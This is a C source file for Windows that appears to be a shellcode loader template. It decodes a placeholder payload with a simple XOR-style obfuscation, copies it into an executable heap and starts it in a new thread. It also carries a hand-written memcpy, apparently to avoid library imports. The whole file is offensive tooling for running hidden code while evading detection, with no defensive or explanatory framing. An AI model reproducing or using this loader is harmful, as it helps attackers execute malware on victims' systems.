#include "shellcall.h"

void run(void* buffer) {

void (*function)();

function = (void (*)())buffer;

function();

}

void start()

{

LPVOID heap;

heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);

char shellcode[DATA_SIZE] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

DWORD size = ((PDWORD)shellcode)[0];//size

PCHAR ptr = HeapAlloc(heap, HEAP_ZERO_MEMORY, size);

PCHAR tmpptr = (DWORD)shellcode + sizeof(DWORD);

for (int i = 0; i < size; i++)

{

ptr[i] = (tmpptr[i] - 1) ^ i;

}

//EnumWindows((WNDENUMPROC)run, ptr);

CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&run, ptr, 0, NULL);

while (1)

{

Sleep(8000);

}

return 0;

}

void* __cdecl Mymemcpy(void* dest,

const void* src,

size_t count

)

{

char* char_dest = (char*)dest;

char* char_src = (char*)src;

if ((char_dest <= char_src) || (char_dest >= (char_src + count)))

{

/* non-overlapping buffers */

while (count > 0)

{

*char_dest = *char_src;

char_dest++;

char_src++;

count--;

}

}

else

{

/* overlaping buffers */

char_dest = (char*)dest + count - 1;

char_src = (char*)src + count - 1;

while (count > 0)

{

*char_dest = *char_src;

char_dest--;

char_src--;

count--;

}

}

return dest;

}